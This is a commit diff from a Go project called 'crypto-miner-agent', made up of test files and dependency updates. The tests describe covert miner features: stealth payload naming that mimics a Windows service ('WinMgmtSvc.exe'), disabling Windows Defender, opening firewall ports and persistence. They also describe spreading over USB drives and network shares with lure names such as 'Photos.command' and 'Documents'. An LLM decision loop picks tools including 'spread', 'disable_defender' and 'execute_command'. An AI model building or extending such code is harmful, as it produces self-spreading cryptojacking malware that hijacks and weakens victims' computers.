Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
273
agent/client/ai_test.go
Normal file
273
agent/client/ai_test.go
Normal file
@@ -0,0 +1,273 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestTruncateStr(t *testing.T) {
|
||||
cases := []struct {
|
||||
in, want string
|
||||
max int
|
||||
}{
|
||||
{"short", "short", 10},
|
||||
{"exactlyten", "exactlyten", 10},
|
||||
{"this is longer than ten", "this is lo...", 10},
|
||||
{"", "", 5},
|
||||
{"abc", "...", 0},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got := truncateStr(tc.in, tc.max)
|
||||
if got != tc.want {
|
||||
t.Fatalf("truncateStr(%q, %d) = %q want %q", tc.in, tc.max, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStateJSONRoundTrip(t *testing.T) {
|
||||
in := AgentState{
|
||||
AgentID: "a1", WorkerName: "w1", Hostname: "host",
|
||||
UptimeSeconds: 3600, IsRunning: true,
|
||||
CPUCores: 8, CPUUsagePct: 42.5, MemoryGB: 16, MemoryUsagePct: 55.0,
|
||||
Hashrate15m: 1200.5, SharesTotal: 100, SharesGood: 95, SharesBad: 5,
|
||||
ProcessName: "svc.exe", InstallPath: `C:\miner`, HasPersistence: true,
|
||||
HasTunnel: false, DefenderState: "enabled", LastError: "none",
|
||||
}
|
||||
var out AgentState
|
||||
roundTrip(t, in, &out)
|
||||
if out.AgentID != in.AgentID || out.DefenderState != "enabled" || out.SharesBad != 5 {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolCallJSONRoundTrip(t *testing.T) {
|
||||
in := ToolCall{
|
||||
Tool: "check_miner",
|
||||
Args: map[string]string{"process_name": "miner.exe"},
|
||||
Reason: "verify process",
|
||||
}
|
||||
var out ToolCall
|
||||
roundTrip(t, in, &out)
|
||||
if out.Tool != "check_miner" || out.Args["process_name"] != "miner.exe" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideResponseJSONRoundTrip(t *testing.T) {
|
||||
in := DecideResponse{
|
||||
ToolCalls: []ToolCall{{Tool: "sleep", Args: map[string]string{"seconds": "5"}, Reason: "wait"}},
|
||||
Reasoning: "back off",
|
||||
Error: "",
|
||||
}
|
||||
var out DecideResponse
|
||||
roundTrip(t, in, &out)
|
||||
if len(out.ToolCalls) != 1 || out.Reasoning != "back off" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolReportJSONRoundTrip(t *testing.T) {
|
||||
in := ToolReport{
|
||||
AgentID: "a1", Tool: "check_miner", Success: true,
|
||||
Output: "process running", Timestamp: "2026-05-31T12:00:00Z",
|
||||
}
|
||||
var out ToolReport
|
||||
roundTrip(t, in, &out)
|
||||
if !out.Success || out.Output != "process running" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideRequestJSONRoundTrip(t *testing.T) {
|
||||
in := decideRequest{
|
||||
AgentID: "a1",
|
||||
OllamaEndpoint: "http://localhost:11434",
|
||||
Model: "llama3",
|
||||
AgentState: AgentState{AgentID: "a1", WorkerName: "w1"},
|
||||
}
|
||||
var out decideRequest
|
||||
roundTrip(t, in, &out)
|
||||
if out.AgentID != "a1" || out.OllamaEndpoint != in.OllamaEndpoint || out.WorkerName != "w1" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHeartbeatRequestJSONRoundTrip(t *testing.T) {
|
||||
in := heartbeatRequest{AgentID: "a1", Status: "alive", Message: "ok"}
|
||||
var out heartbeatRequest
|
||||
roundTrip(t, in, &out)
|
||||
if out.Status != "alive" || out.Message != "ok" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShareCounts(t *testing.T) {
|
||||
a := &AIRunner{shareStats: func() (int, int) { return 10, 7 }}
|
||||
total, good, bad := a.shareCounts()
|
||||
if total != 10 || good != 7 || bad != 3 {
|
||||
t.Fatalf("got total=%d good=%d bad=%d", total, good, bad)
|
||||
}
|
||||
|
||||
a.shareStats = func() (int, int) { return 5, 10 }
|
||||
_, _, bad = a.shareCounts()
|
||||
if bad != 0 {
|
||||
t.Fatalf("negative bad clamped to 0, got %d", bad)
|
||||
}
|
||||
|
||||
a.shareStats = nil
|
||||
total, good, bad = a.shareCounts()
|
||||
if total != 0 || good != 0 || bad != 0 {
|
||||
t.Fatalf("nil shareStats should return zeros, got %d %d %d", total, good, bad)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteToolCallPolicyDisabled(t *testing.T) {
|
||||
a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
|
||||
for _, tool := range []string{"spread", "disable_defender", "execute_command"} {
|
||||
report := a.executeToolCall(ToolCall{Tool: tool, Args: map[string]string{}})
|
||||
if report.Success || !strings.Contains(report.Output, "disabled by policy") {
|
||||
t.Fatalf("tool %q: unexpected report %+v", tool, report)
|
||||
}
|
||||
if report.AgentID != "a1" || report.Tool != tool {
|
||||
t.Fatalf("tool %q: wrong metadata %+v", tool, report)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteToolCallUnknownTool(t *testing.T) {
|
||||
a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
|
||||
report := a.executeToolCall(ToolCall{Tool: "nonexistent"})
|
||||
if report.Success || !strings.Contains(report.Output, "unknown tool") {
|
||||
t.Fatalf("unexpected: %+v", report)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallDecideMockHTTP(t *testing.T) {
|
||||
var gotMethod, gotPath, gotSecret string
|
||||
var gotBody decideRequest
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotMethod = r.Method
|
||||
gotPath = r.URL.Path
|
||||
gotSecret = r.Header.Get("X-Fleet-Secret")
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
_ = json.Unmarshal(body, &gotBody)
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_, _ = w.Write([]byte(`{"tool_calls":[{"tool":"sleep","args":{"seconds":"1"},"reason":"test"}],"reasoning":"ok"}`))
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "fleet-key", AIOllamaEndpoint: "http://ollama", AIModel: "m1"}},
|
||||
httpClient: srv.Client(),
|
||||
serverURL: strings.TrimRight(srv.URL, "/"),
|
||||
agentID: "agent-1",
|
||||
}
|
||||
|
||||
state := AgentState{AgentID: "agent-1", WorkerName: "w1"}
|
||||
resp, err := a.callDecide(state)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotMethod != http.MethodPost || gotPath != "/api/v1/agent/decide" {
|
||||
t.Fatalf("got %s %s", gotMethod, gotPath)
|
||||
}
|
||||
if gotSecret != "fleet-key" {
|
||||
t.Fatalf("fleet secret %q", gotSecret)
|
||||
}
|
||||
if gotBody.AgentID != "agent-1" || gotBody.OllamaEndpoint != "http://ollama" || gotBody.Model != "m1" {
|
||||
t.Fatalf("unexpected body: %+v", gotBody)
|
||||
}
|
||||
if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
|
||||
t.Fatalf("unexpected response: %+v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallDecideMockHTTPErrorField(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_, _ = w.Write([]byte(`{"error":"ollama offline"}`))
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
httpClient: srv.Client(),
|
||||
serverURL: srv.URL,
|
||||
agentID: "a1",
|
||||
}
|
||||
_, err := a.callDecide(AgentState{})
|
||||
if err == nil || !strings.Contains(err.Error(), "ollama offline") {
|
||||
t.Fatalf("expected decide error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallDecideMockHTTPNonOK(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusServiceUnavailable)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
httpClient: srv.Client(),
|
||||
serverURL: srv.URL,
|
||||
}
|
||||
_, err := a.callDecide(AgentState{})
|
||||
if err == nil || !strings.Contains(err.Error(), "503") {
|
||||
t.Fatalf("expected status error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendHeartbeatMockHTTP(t *testing.T) {
|
||||
var got heartbeatRequest
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/v1/agent/heartbeat" {
|
||||
t.Fatalf("path %s", r.URL.Path)
|
||||
}
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
_ = json.Unmarshal(body, &got)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "sec"}},
|
||||
httpClient: srv.Client(),
|
||||
serverURL: srv.URL,
|
||||
agentID: "a1",
|
||||
}
|
||||
a.sendHeartbeat("alive", "test msg")
|
||||
if got.AgentID != "a1" || got.Status != "alive" || got.Message != "test msg" {
|
||||
t.Fatalf("unexpected heartbeat: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReportResultsMockHTTP(t *testing.T) {
|
||||
var count int
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/v1/agent/report" {
|
||||
t.Fatalf("path %s", r.URL.Path)
|
||||
}
|
||||
count++
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
httpClient: srv.Client(),
|
||||
serverURL: srv.URL,
|
||||
agentID: "a1",
|
||||
}
|
||||
a.reportResults([]ToolReport{
|
||||
{AgentID: "a1", Tool: "check_miner", Success: true, Output: "ok"},
|
||||
{AgentID: "a1", Tool: "sleep", Success: true, Output: "done"},
|
||||
})
|
||||
if count != 1 {
|
||||
t.Fatalf("expected one report POST, got %d", count)
|
||||
}
|
||||
}
|
||||
22
agent/deploy/aggressive_stub_test.go
Normal file
22
agent/deploy/aggressive_stub_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDisableDefenderRealtimeStub(t *testing.T) {
|
||||
_, err := DisableDefenderRealtime()
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("expected Windows-only error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOpenFirewallPortStub(t *testing.T) {
|
||||
_, err := OpenFirewallPort(8080, "test")
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("expected Windows-only error, got %v", err)
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -118,3 +119,18 @@ func TestResolveInstallDirWithFallback(t *testing.T) {
|
||||
t.Fatal("empty dir")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWantsSpreadInstall(t *testing.T) {
|
||||
orig := os.Args
|
||||
t.Cleanup(func() { os.Args = orig })
|
||||
|
||||
os.Args = []string{"agent"}
|
||||
if WantsSpreadInstall() {
|
||||
t.Fatal("expected false without flag")
|
||||
}
|
||||
|
||||
os.Args = []string{"agent", "--spread-install"}
|
||||
if !WantsSpreadInstall() {
|
||||
t.Fatal("expected true with --spread-install")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -162,3 +162,98 @@ func TestUpnpSOAPErrorResponse(t *testing.T) {
|
||||
t.Fatalf("expected SOAP error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReLocationParsesSSDPResponse(t *testing.T) {
|
||||
cases := []struct {
|
||||
body string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
"HTTP/1.1 200 OK\r\nLOCATION: http://192.168.0.1:49152/desc.xml\r\n\r\n",
|
||||
"http://192.168.0.1:49152/desc.xml",
|
||||
},
|
||||
{
|
||||
"location: http://10.0.0.1/igd.xml",
|
||||
"http://10.0.0.1/igd.xml",
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
m := reLocation.FindStringSubmatch(tc.body)
|
||||
if len(m) != 2 {
|
||||
t.Fatalf("no LOCATION match in %q", tc.body)
|
||||
}
|
||||
if got := strings.TrimSpace(m[1]); got != tc.want {
|
||||
t.Fatalf("got %q want %q", got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLRelativeWithoutLeadingSlash(t *testing.T) {
|
||||
const igdXML = `<?xml version="1.0"?>
|
||||
<root>
|
||||
<service>
|
||||
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
|
||||
<controlURL>ctl/IPConn</controlURL>
|
||||
</service>
|
||||
</root>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, igdXML)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
got, err := resolveWANControlURL(srv.URL + "/igd.xml")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := srv.URL + "/ctl/IPConn"
|
||||
if got != want {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpSOAPRequestHeaders(t *testing.T) {
|
||||
var contentType, soapAction string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
contentType = r.Header.Get("Content-Type")
|
||||
soapAction = r.Header.Get("SOAPAction")
|
||||
fmt.Fprint(w, `<response/>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
if _, err := upnpSOAP(srv.URL, "GetExternalIPAddress", "<body/>"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(contentType, "text/xml") {
|
||||
t.Fatalf("Content-Type: %q", contentType)
|
||||
}
|
||||
wantAction := `"urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress"`
|
||||
if soapAction != wantAction {
|
||||
t.Fatalf("SOAPAction: got %q want %q", soapAction, wantAction)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpDeletePortMapping(t *testing.T) {
|
||||
var gotBody, gotAction string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotAction = r.Header.Get("SOAPAction")
|
||||
buf := make([]byte, 4096)
|
||||
n, _ := r.Body.Read(buf)
|
||||
gotBody = string(buf[:n])
|
||||
fmt.Fprint(w, `<?xml version="1.0"?><ok/>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
if err := upnpDeletePortMapping(srv.URL, 8989); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(gotAction, "DeletePortMapping") {
|
||||
t.Fatalf("SOAPAction: %q", gotAction)
|
||||
}
|
||||
if !strings.Contains(gotBody, "<NewExternalPort>8989</NewExternalPort>") {
|
||||
t.Fatalf("body missing port: %q", gotBody)
|
||||
}
|
||||
if !strings.Contains(gotBody, "<NewProtocol>TCP</NewProtocol>") {
|
||||
t.Fatalf("body missing protocol: %q", gotBody)
|
||||
}
|
||||
}
|
||||
|
||||
57
agent/deploy/passive_spread_unix_test.go
Normal file
57
agent/deploy/passive_spread_unix_test.go
Normal file
@@ -0,0 +1,57 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestParseLsblkMounts(t *testing.T) {
|
||||
const sample = `{
|
||||
"blockdevices": [
|
||||
{"mountpoint": "/", "hotplug": false},
|
||||
{"mountpoint": "/media/usb", "hotplug": "1"},
|
||||
{"mountpoint": null, "hotplug": true},
|
||||
{"mountpoint": "/mnt/sdcard", "hotplug": true}
|
||||
]
|
||||
}`
|
||||
got := parseLsblkMounts(sample)
|
||||
want := []string{"/media/usb", "/mnt/sdcard"}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("len %d != %d (%v)", len(got), len(want), got)
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixPayloadNameNonStealth(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "node worker",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := unixPayloadName(cfg); got != "node-worker" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickUnixLauncher(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
if err := os.Mkdir(filepath.Join(root, "Photos"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := pickUnixLauncher(root); got != "Photos.command" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
|
||||
empty := t.TempDir()
|
||||
if got := pickUnixLauncher(empty); got != "Start.command" {
|
||||
t.Fatalf("empty mount: got %q", got)
|
||||
}
|
||||
}
|
||||
51
agent/deploy/passive_spread_windows_test.go
Normal file
51
agent/deploy/passive_spread_windows_test.go
Normal file
@@ -0,0 +1,51 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSharePayloadName(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "worker alpha",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
|
||||
cfg.StealthMode = true
|
||||
if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
|
||||
t.Fatalf("stealth: got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUsbPayloadNameNonStealth(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "sync agent",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := usbPayloadName(cfg); got != "sync-agent.exe" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickLinkName(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := pickLinkName(root); got != "Documents" {
|
||||
t.Fatalf("got %q want Documents", got)
|
||||
}
|
||||
|
||||
empty := t.TempDir()
|
||||
if got := pickLinkName(empty); got != "Open Documents" {
|
||||
t.Fatalf("empty drive: got %q", got)
|
||||
}
|
||||
}
|
||||
89
agent/go.mod
89
agent/go.mod
@@ -4,11 +4,94 @@ go 1.26.3
|
||||
|
||||
require (
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
golang.org/x/sys v0.19.0
|
||||
github.com/libp2p/go-libp2p v0.48.0
|
||||
golang.org/x/sys v0.41.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
golang.org/x/crypto v0.22.0 // indirect
|
||||
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5 // indirect
|
||||
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b // indirect
|
||||
github.com/benbjohnson/clock v1.3.5 // indirect
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c // indirect
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 // indirect
|
||||
github.com/dunglas/httpsfv v1.1.0 // indirect
|
||||
github.com/flynn/noise v1.1.0 // indirect
|
||||
github.com/huin/goupnp v1.3.0 // indirect
|
||||
github.com/ipfs/go-cid v0.5.0 // indirect
|
||||
github.com/jackpal/go-nat-pmp v1.0.2 // indirect
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.2.10 // indirect
|
||||
github.com/koron/go-ssdp v0.0.6 // indirect
|
||||
github.com/libp2p/go-buffer-pool v0.1.0 // indirect
|
||||
github.com/libp2p/go-flow-metrics v0.2.0 // indirect
|
||||
github.com/libp2p/go-libp2p-asn-util v0.4.1 // indirect
|
||||
github.com/libp2p/go-msgio v0.3.0 // indirect
|
||||
github.com/libp2p/go-netroute v0.4.0 // indirect
|
||||
github.com/libp2p/go-reuseport v0.4.0 // indirect
|
||||
github.com/libp2p/go-yamux/v5 v5.0.1 // indirect
|
||||
github.com/libp2p/zeroconf/v2 v2.2.0 // indirect
|
||||
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd // indirect
|
||||
github.com/miekg/dns v1.1.66 // indirect
|
||||
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b // indirect
|
||||
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc // indirect
|
||||
github.com/minio/sha256-simd v1.0.1 // indirect
|
||||
github.com/mr-tron/base58 v1.2.0 // indirect
|
||||
github.com/multiformats/go-base32 v0.1.0 // indirect
|
||||
github.com/multiformats/go-base36 v0.2.0 // indirect
|
||||
github.com/multiformats/go-multiaddr v0.16.0 // indirect
|
||||
github.com/multiformats/go-multiaddr-dns v0.4.1 // indirect
|
||||
github.com/multiformats/go-multiaddr-fmt v0.1.0 // indirect
|
||||
github.com/multiformats/go-multibase v0.2.0 // indirect
|
||||
github.com/multiformats/go-multicodec v0.9.1 // indirect
|
||||
github.com/multiformats/go-multihash v0.2.3 // indirect
|
||||
github.com/multiformats/go-multistream v0.6.1 // indirect
|
||||
github.com/multiformats/go-varint v0.0.7 // indirect
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect
|
||||
github.com/pion/datachannel v1.5.10 // indirect
|
||||
github.com/pion/dtls/v3 v3.1.2 // indirect
|
||||
github.com/pion/ice/v4 v4.0.10 // indirect
|
||||
github.com/pion/interceptor v0.1.40 // indirect
|
||||
github.com/pion/logging v0.2.4 // indirect
|
||||
github.com/pion/mdns/v2 v2.0.7 // indirect
|
||||
github.com/pion/randutil v0.1.0 // indirect
|
||||
github.com/pion/rtcp v1.2.16 // indirect
|
||||
github.com/pion/rtp v1.8.19 // indirect
|
||||
github.com/pion/sctp v1.8.39 // indirect
|
||||
github.com/pion/sdp/v3 v3.0.18 // indirect
|
||||
github.com/pion/srtp/v3 v3.0.6 // indirect
|
||||
github.com/pion/stun/v3 v3.1.1 // indirect
|
||||
github.com/pion/transport/v3 v3.0.7 // indirect
|
||||
github.com/pion/transport/v4 v4.0.1 // indirect
|
||||
github.com/pion/turn/v4 v4.0.2 // indirect
|
||||
github.com/pion/webrtc/v4 v4.1.2 // indirect
|
||||
github.com/prometheus/client_golang v1.22.0 // indirect
|
||||
github.com/prometheus/client_model v0.6.2 // indirect
|
||||
github.com/prometheus/common v0.64.0 // indirect
|
||||
github.com/prometheus/procfs v0.16.1 // indirect
|
||||
github.com/quic-go/qpack v0.6.0 // indirect
|
||||
github.com/quic-go/quic-go v0.59.0 // indirect
|
||||
github.com/quic-go/webtransport-go v0.10.0 // indirect
|
||||
github.com/spaolacci/murmur3 v1.1.0 // indirect
|
||||
github.com/wlynxg/anet v0.0.5 // indirect
|
||||
go.uber.org/dig v1.19.0 // indirect
|
||||
go.uber.org/fx v1.24.0 // indirect
|
||||
go.uber.org/mock v0.5.2 // indirect
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
go.uber.org/zap v1.27.0 // indirect
|
||||
golang.org/x/crypto v0.48.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 // indirect
|
||||
golang.org/x/mod v0.32.0 // indirect
|
||||
golang.org/x/net v0.50.0 // indirect
|
||||
golang.org/x/sync v0.19.0 // indirect
|
||||
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2 // indirect
|
||||
golang.org/x/text v0.34.0 // indirect
|
||||
golang.org/x/time v0.12.0 // indirect
|
||||
golang.org/x/tools v0.41.0 // indirect
|
||||
google.golang.org/protobuf v1.36.6 // indirect
|
||||
lukechampine.com/blake3 v1.4.1 // indirect
|
||||
)
|
||||
|
||||
236
agent/go.sum
236
agent/go.sum
@@ -1,10 +1,238 @@
|
||||
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5 h1:JA0fFr+kxpqTdxR9LOBiTWpGNchqmkcsgmdeJZRclZ0=
|
||||
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5/go.mod h1:OjOXDNlClLblvXdwgFFOQFJEocLhhtai8vGLy0JCZlI=
|
||||
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b h1:REI1FbdW71yO56Are4XAxD+OS/e+BQsB3gE4mZRQEXY=
|
||||
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b/go.mod h1:9nnw1SlYHYuPSo/3wjQzNjSbeHlq2NsKo5iEtfJPWP0=
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
|
||||
github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o=
|
||||
github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/canonical/go-sp800.90a-drbg v0.0.0-20210314144037-6eeb1040d6c3 h1:oe6fCvaEpkhyW3qAicT0TnGtyht/UrgvOwMcEgLb7Aw=
|
||||
github.com/canonical/go-sp800.90a-drbg v0.0.0-20210314144037-6eeb1040d6c3/go.mod h1:qdP0gaj0QtgX2RUZhnlVrceJ+Qln8aSlDyJwelLLFeM=
|
||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c h1:pFUpOrbxDR6AkioZ1ySsx5yxlDQZ8stG2b88gTPxgJU=
|
||||
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c/go.mod h1:6UhI8N9EjYm1c2odKpFpAYeR8dsBeM7PtzQhRgxRr9U=
|
||||
github.com/decred/dcrd/crypto/blake256 v1.1.0 h1:zPMNGQCm0g4QTY27fOCorQW7EryeQ/U0x++OzVrdms8=
|
||||
github.com/decred/dcrd/crypto/blake256 v1.1.0/go.mod h1:2OfgNZ5wDpcsFmHmCK5gZTPcCXqlm2ArzUIkw9czNJo=
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 h1:NMZiJj8QnKe1LgsbDayM4UoHwbvwDRwnI3hwNaAHRnc=
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0/go.mod h1:ZXNYxsqcloTdSy/rNShjYzMhyjf0LaoftYK0p+A3h40=
|
||||
